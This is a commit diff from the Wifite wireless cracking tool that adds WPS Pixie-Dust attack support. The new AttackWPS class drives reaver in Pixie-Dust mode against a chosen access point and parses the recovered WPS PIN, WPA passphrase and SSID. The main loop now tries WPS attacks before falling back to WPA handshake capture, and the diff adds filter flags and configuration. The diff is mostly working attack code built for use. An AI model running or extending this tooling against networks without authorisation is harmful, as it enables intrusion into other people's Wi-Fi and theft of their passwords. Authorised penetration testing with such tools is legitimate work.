WPS PixieDust attack support

Fixed encryption filtering.
More WPS-specific configurations.
Various fixes.
This commit is contained in:
derv82
2015-06-02 07:31:41 -07:00
parent 9a8dec818e
commit ff66d08308
10 changed files with 348 additions and 47 deletions

View File

@@ -1,37 +1,63 @@
#!/usr/bin/python #!/usr/bin/python
from py.Configuration import Configuration
from py.Scanner import Scanner from py.Scanner import Scanner
from py.Color import Color from py.Color import Color
from py.AttackWEP import AttackWEP from py.AttackWEP import AttackWEP
from py.AttackWPA import AttackWPA from py.AttackWPA import AttackWPA
from py.AttackWPS import AttackWPS
class Wifite(object): class Wifite(object):
def __init__(self): def __init__(self):
pass pass
def run(self): def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner() s = Scanner()
targets = s.select_targets() targets = s.select_targets()
for t in targets: for t in targets:
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})' Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid)) % (t.bssid, t.essid))
# TODO: Check if Configuration says to attack certain encryptions. if 'WEP' in t.encryption: # TODO: and configuration.use_wep
if 'WEP' in t.encryption:
attack = AttackWEP(t) attack = AttackWEP(t)
attack.run()
elif 'WPA' in t.encryption: elif 'WPA' in t.encryption:
# TODO: Check if WPS, attack WPS if t.wps: # TODO: and Configuration.use_wps
attack = AttackWPA(t) attack = AttackWPS(t)
attack.run() if attack.run():
# We cracked it.
break
else: # TODO: and Configuration.use_wpa
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
attack.run()
else: # TODO: and Configuration.use_wpa
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
attack.run()
else:
# TODO: Error: Can't attack - encryption not WEP or WPA
pass
# TODO: if attack.successful:
# TODO: Save attack.crack_result
pass pass
if __name__ == '__main__': if __name__ == '__main__':
w = Wifite() w = Wifite()
try: try:
w.run() w.run()
except Exception, e: except Exception, e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
#from traceback import format_exc from traceback import format_exc
#format_exc().replace('\n', '\n ') print '\n '
print format_exc().replace('\n', '\n ')
except KeyboardInterrupt: except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}') Color.pl('\n{!} {O}interrupted{W}')
Configuration.exit_gracefully(0)

View File

@@ -124,12 +124,14 @@ class Airodump(object):
# Parse the .CSV file # Parse the .CSV file
targets = Airodump.get_targets_from_csv(csv_filename) targets = Airodump.get_targets_from_csv(csv_filename)
targets = Airodump.filter_targets(targets, wep=True, wpa=True, opn=False)
# Check targets for WPS # Check targets for WPS
capfile = csv_filename[:-3] + 'cap' capfile = csv_filename[:-3] + 'cap'
Wash.check_for_wps_and_update_targets(capfile, targets) Wash.check_for_wps_and_update_targets(capfile, targets)
# Filter targets based on encryption
targets = Airodump.filter_targets(targets)
# Sort by power # Sort by power
targets.sort(key=lambda x: x.power, reverse=True) targets.sort(key=lambda x: x.power, reverse=True)
@@ -189,15 +191,18 @@ class Airodump(object):
return targets return targets
@staticmethod @staticmethod
def filter_targets(targets, wep=True, wpa=True, opn=False): def filter_targets(targets):
''' Filters targets based on encryption ''' ''' Filters targets based on encryption defined in Configuration '''
result = [] result = []
for target in targets: for target in targets:
if wep and 'WEP' in target.encryption: if 'WEP' in Configuration.encryption_filter and \
'WEP' in target.encryption:
result.append(target) result.append(target)
elif wpa and 'WPA' in target.encryption: elif 'WPA' in Configuration.encryption_filter and \
result.append(target) 'WPA' in target.encryption:
elif opn and 'OPN' in target.encryption: result.append(target)
elif 'WPS' in Configuration.encryption_filter and \
target.wps:
result.append(target) result.append(target)
return result return result

View File

@@ -31,8 +31,8 @@ class Arguments(object):
wep = parser.add_argument_group('WEP-RELATED') wep = parser.add_argument_group('WEP-RELATED')
wep.add_argument('--wep', wep.add_argument('--wep',
action='store_true', action='store_true',
dest='wep_only', dest='wep_filter',
help='Only target WEP-encrypted networks (ignores WPA)') help='Only show WEP-encrypted networks')
wep.add_argument('--require-fakeauth', wep.add_argument('--require-fakeauth',
action='store_true', action='store_true',
dest='require_fakeauth', dest='require_fakeauth',
@@ -42,15 +42,23 @@ class Arguments(object):
wpa = parser.add_argument_group('WPA-RELATED') wpa = parser.add_argument_group('WPA-RELATED')
wpa.add_argument('--wpa', wpa.add_argument('--wpa',
action='store_true', action='store_true',
dest='wpa_only', dest='wpa_filter',
help='Only target WPA-encrypted networks (ignores WEP)') help='Only show WPA-encrypted networks')
# WPS # WPS
wps = parser.add_argument_group('WPS-RELATED') wps = parser.add_argument_group('WPS-RELATED')
wps.add_argument('--wps', wps.add_argument('--wps',
action='store_true', action='store_true',
dest='wps_only', dest='wps_filter',
help='Only target WPS-encrypted networks (ignores WEP/nonWPS)') help='Only show WPA networks with WPS enabled')
wps.add_argument('--reaver',
action='store_true',
dest='reaver_only',
help='Only use Reaver on WPS networks (no handshake attack)')
wps.add_argument('--no-reaver',
action='store_true',
dest='no_reaver',
help='Do NOT use Reaver on WPS networks (handshake only)')
wps.add_argument('--pixie', wps.add_argument('--pixie',
action='store_true', action='store_true',
dest='pixie_only', dest='pixie_only',

View File

@@ -21,11 +21,13 @@ class AttackWEP(Attack):
def __init__(self, target): def __init__(self, target):
super(AttackWEP, self).__init__(target) super(AttackWEP, self).__init__(target)
self.crack_result = None self.crack_result = None
self.success = False
def run(self): def run(self):
''' '''
Initiates full WEP attack. Initiates full WEP attack.
Including airodump-ng starting, cracking, etc. Including airodump-ng starting, cracking, etc.
Returns: True if attack is succesful, false otherwise
''' '''
# First, start Airodump process # First, start Airodump process
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
@@ -95,7 +97,8 @@ class AttackWEP(Attack):
hex_key, \ hex_key, \
ascii_key) ascii_key)
self.crack_result.dump() self.crack_result.dump()
return True self.success = True
return self.success
if aircrack and aircrack.is_running(): if aircrack and aircrack.is_running():
# Aircrack is running in the background. # Aircrack is running in the background.
@@ -139,9 +142,9 @@ class AttackWEP(Attack):
# XXX: For debugging # XXX: For debugging
Color.pl('\n%s stopped, output:' % attack_name) Color.pl('\n%s stopped, output:' % attack_name)
Color.pl(aireplay.get_output()) Color.pl(aireplay.get_output())
break continue # Continue to other attacks
# If .xor exists, run packetforge-ng to create .cap # TODO: If .xor exists, run packetforge-ng to create .cap
# If packetforge created the replay .cap file, # If packetforge created the replay .cap file,
# 1. Change attack_name to 'forged arp replay' # 1. Change attack_name to 'forged arp replay'
# 2. Start Aireplay to replay the .cap file # 2. Start Aireplay to replay the .cap file
@@ -149,7 +152,7 @@ class AttackWEP(Attack):
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
Color.pl('\naireplay.get_output():') Color.pl('\naireplay.get_output():')
Color.pl(aireplay.get_output()) Color.pl(aireplay.get_output())
break continue # Continue to other attacks
# Check if IVs stopped flowing (same for > N seconds) # Check if IVs stopped flowing (same for > N seconds)
if airodump_target.ivs > previous_ivs: if airodump_target.ivs > previous_ivs:
@@ -170,6 +173,12 @@ class AttackWEP(Attack):
time.sleep(1) time.sleep(1)
continue continue
# End of big while loop
# End of for-each-attack-type loop
# End of with-airodump
self.success = False
return self.success
def fake_auth(self): def fake_auth(self):

View File

@@ -17,6 +17,7 @@ class AttackWPA(Attack):
def __init__(self, target): def __init__(self, target):
super(AttackWPA, self).__init__(target) super(AttackWPA, self).__init__(target)
self.crack_result = None self.crack_result = None
self.success = False
def run(self): def run(self):
''' '''
@@ -104,8 +105,8 @@ class AttackWPA(Attack):
if not handshake: if not handshake:
# No handshake, attack failed. # No handshake, attack failed.
raise Exception('Handshake not captured') self.success = False
return False return self.success
key = None key = None
@@ -158,7 +159,8 @@ class AttackWPA(Attack):
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key) self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
self.crack_result.dump() self.crack_result.dump()
return True self.success = True
return self.success
def save_handshake(self, handshake): def save_handshake(self, handshake):

View File

@@ -1,13 +1,209 @@
#!/usr/bin/python #!/usr/bin/python
from Attack import Attack from Attack import Attack
from Color import Color
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
from Process import Process
import os
import time
import re
class AttackWPS(Attack): class AttackWPS(Attack):
def __init__(self, target): def __init__(self, target):
super(AttackWPS, self).__init__(target) super(AttackWPS, self).__init__(target)
self.success = False
def run(self): def run(self):
raise Exception("TODO: Crack WPS") ''' Run all WPS-related attacks '''
# Drop out if user specified to not user Reaver
if Configuration.no_reaver:
self.success = False
return self.success
# Run Pixie-Dust attack
if self.is_pixiedust_supported():
if self.run_pixiedust_attack():
# Pixie-Dust attack succeeded. We're done.
self.success = True
return self.success
else:
Color.pl(
'{!} {R}your version of "reaver" does not' +
' support the {O}WPS pixie-dust attack{W}')
if Configuration.pixie_only:
Color.pl('{!} {O}--pixie-only{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
self.success = self.run_wps_pin_attack()
return self.success
def is_pixiedust_supported(self):
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
output = Process(['reaver', '-h']).stderr()
return '--pixie-dust' in output
def run_pixiedust_attack(self):
# Write reaver stdout to file.
self.stdout_file = Configuration.temp('reaver.out')
if os.path.exists(self.stdout_file):
os.remove(self.stdout_file)
command = [
'reaver',
'-i', Configuration.interface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-K', '1', # pixie-dust attack
'-a', # Automatically restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = '0) initializing'
while True:
time.sleep(1)
Color.clear_line()
Color.p('\r{+} {C}WPS pixiedust attack{W}: ')
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl('{G}success{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
self.success = True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
self.success = False
break
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '(step 1/8) initialized, waiting for beacon to associate'
elif 'Associated with' in stdout_last_line:
step = '(step 2/8) associated, waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '(step 3/8) started session, waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '(step 4/8) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '(step 5/8) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '(step 6/8) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '(step 7/8) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
step = '(step 0/8) waiting for AP rate limit'
if 'WPS pin not found' in stdout:
# Attack failed; PIN not found.
Color.pl('{R}failed: {O}WPS pin not found{W}')
reaver.interrupt()
return False
fail_count = stdout.count('WPS transaction failed')
timeout_count = stdout.count('Receive timeout occurred')
# Display status of Pixie-Dust attack
Color.p('{W}%s{W}' % step)
continue
reaver.interrupt()
stdout_write.close()
return self.success
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
# PIN: Printed *before* the attack completes.
regex = re.search('WPS pin: *([0-9]*)', stdout)
if regex:
pin = regex.groups()[0]
# PIN: Printed when attack is completed.
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
if regex:
pin = regex.groups()[0]
# Check for PSK.
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.groups()[0]
# Check for SSID
regex = re.search("AP SSID: *'(.+)'", stdout)
if regex:
ssid = regex.groups()[0]
return (pin, psk, ssid)
def run_wps_pin_attack(self):
# TODO Implement
return False
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
f = open(self.stdout_file, 'r')
stdout = f.read()
f.close()
return stdout.strip()
if __name__ == '__main__': if __name__ == '__main__':
stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
print AttackWPS.get_pin_psk_ssid(stdout)
pass pass

View File

@@ -2,6 +2,16 @@
import os import os
'''
--wep : Target WEP networks
--wpa : Target WPA networks
--wps : Target WPS networks
^ Can be combined
--no-reaver : Do not use reaver on WPS networks
--reaver : Only use reaver on WPS networks
'''
class Configuration(object): class Configuration(object):
''' Stores configuration variables for Wifite. ''' ''' Stores configuration variables for Wifite. '''
@@ -28,8 +38,10 @@ class Configuration(object):
Configuration.target_bssid = None # User-defined AP BSSID Configuration.target_bssid = None # User-defined AP BSSID
Configuration.pillage = False # "All" mode to attack everything Configuration.pillage = False # "All" mode to attack everything
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
# WEP variables # WEP variables
Configuration.wep_only = False # Only attack WEP networks Configuration.wep_filter = False # Only attack WEP networks
Configuration.wep_pps = 600 # Packets per second Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
@@ -44,11 +56,10 @@ class Configuration(object):
Configuration.wep_caffelatte = True Configuration.wep_caffelatte = True
Configuration.wep_p0841 = True Configuration.wep_p0841 = True
Configuration.wep_hirte = True Configuration.wep_hirte = True
# Number of IVS at which we start cracking Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
Configuration.wep_crack_at_ivs = 10000
# WPA variables # WPA variables
Configuration.wpa_only = False # Only attack WPA networks Configuration.wpa_filter = False # Only attack WPA networks
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths Configuration.wpa_deauth_timeout = 10 # Wait time between deauths
Configuration.wpa_attack_timeout = 500 # Wait time before failing Configuration.wpa_attack_timeout = 500 # Wait time before failing
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
@@ -65,10 +76,14 @@ class Configuration(object):
break break
# WPS variables # WPS variables
Configuration.wps_only = False # Only attack WPS networks Configuration.wps_filter = False # Only attack WPS networks
Configuration.pixie_only = False # Only use Pixie attack on WPS Configuration.no_reaver = False # Do not use Reaver on WPS networks
Configuration.wps_timeout = 600 # Seconds to wait before failing Configuration.reaver = False # ONLY use Reaver on WPS networks
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
Configuration.wps_timeout = 600 # Seconds to wait before failing
Configuration.wps_max_retries = 20 # Retries before failing Configuration.wps_max_retries = 20 # Retries before failing
Configuration.fail_threshold = 30 # Max number of failures
Configuration.timeout_threshold = 30 # Max number of timeouts
# Overwrite config values with arguments (if defined) # Overwrite config values with arguments (if defined)
Configuration.load_from_arguments() Configuration.load_from_arguments()
@@ -79,15 +94,28 @@ class Configuration(object):
from Arguments import Arguments from Arguments import Arguments
args = Arguments().args args = Arguments().args
''' Sets configuration values based on Argument.args object ''' ''' Sets configuration values based on Argument.args object '''
if args.channel: Configuration.target_channel = args.channel if args.channel: Configuration.target_channel = args.channel
if args.interface: Configuration.interface = args.interface if args.interface: Configuration.interface = args.interface
if args.wep_only: Configuration.wep_only = args.wep_only if args.wep_filter: Configuration.wep_filter = args.wep_filter
if args.wpa_only: Configuration.wpa_only = args.wpa_only if args.wpa_filter: Configuration.wpa_filter = args.wpa_filter
if args.wps_only: Configuration.wps_only = args.wps_only if args.wps_filter: Configuration.wps_filter = args.wps_filter
if args.pixie_only: Configuration.pixie_only = args.pixie_only if args.no_reaver: Configuration.no_reaver = args.no_reaver
if args.wordlist: Configuration.wordlist = args.wordlist if args.reaver_only: Configuration.reaver_only = args.reaver_only
if args.pixie_only: Configuration.pixie_only = args.pixie_only
if args.wordlist: Configuration.wordlist = args.wordlist
if args.require_fakeauth: Configuration.require_fakeauth = False if args.require_fakeauth: Configuration.require_fakeauth = False
# Adjust encryption filter
if Configuration.wep_filter or \
Configuration.wpa_filter or \
Configuration.wps_filter:
# Reset filter
Configuration.encryption_filter = []
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
if Configuration.interface == None: if Configuration.interface == None:
# Interface wasn't defined, select it! # Interface wasn't defined, select it!
from Airmon import Airmon from Airmon import Airmon

26
py/CrackResultWPS.py Normal file
View File

@@ -0,0 +1,26 @@
#!/usr/bin/python
from Color import Color
import time
class CrackResultWPS(object):
def __init__(self, bssid, essid, pin, psk):
self.bssid = bssid
self.essid = essid
self.pin = pin
self.psk = psk
self.time = time.time()
def dump(self):
if self.essid:
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
Color.pl('{+} Encryption: {C}WPA{W} ({C}WPS{W})')
Color.pl('{+} WPS PIN: {G}%s{W}' % self.pin)
Color.pl('{+} PSK/Password: {G}%s{W}' % self.psk)
if __name__ == '__main__':
crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
crw.dump()

View File

@@ -35,7 +35,7 @@ class Process(object):
return True return True
def __init__(self, command, devnull=False): def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE):
''' Starts executing command ''' ''' Starts executing command '''
if type(command) == str: if type(command) == str:
@@ -50,8 +50,8 @@ class Process(object):
sout = Process.devnull() sout = Process.devnull()
serr = Process.devnull() serr = Process.devnull()
else: else:
sout = PIPE sout = stdout
serr = PIPE serr = stderr
self.start_time = time.time() self.start_time = time.time()

View File

@@ -34,6 +34,9 @@ class Scanner(object):
"Command ran: %s" "Command ran: %s"
% ' '.join(airodump.pid.command)) % ' '.join(airodump.pid.command))
self.targets = airodump.get_targets()
self.print_targets()
target_count = len(self.targets) target_count = len(self.targets)
client_count = sum( client_count = sum(
[len(t.clients) [len(t.clients)
@@ -44,8 +47,6 @@ class Scanner(object):
' {G}%d{W} clients.' % client_count + ' {G}%d{W} clients.' % client_count +
' {O}Ctrl+C{W} when ready') ' {O}Ctrl+C{W} when ready')
sleep(1) sleep(1)
self.targets = airodump.get_targets()
self.print_targets()
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass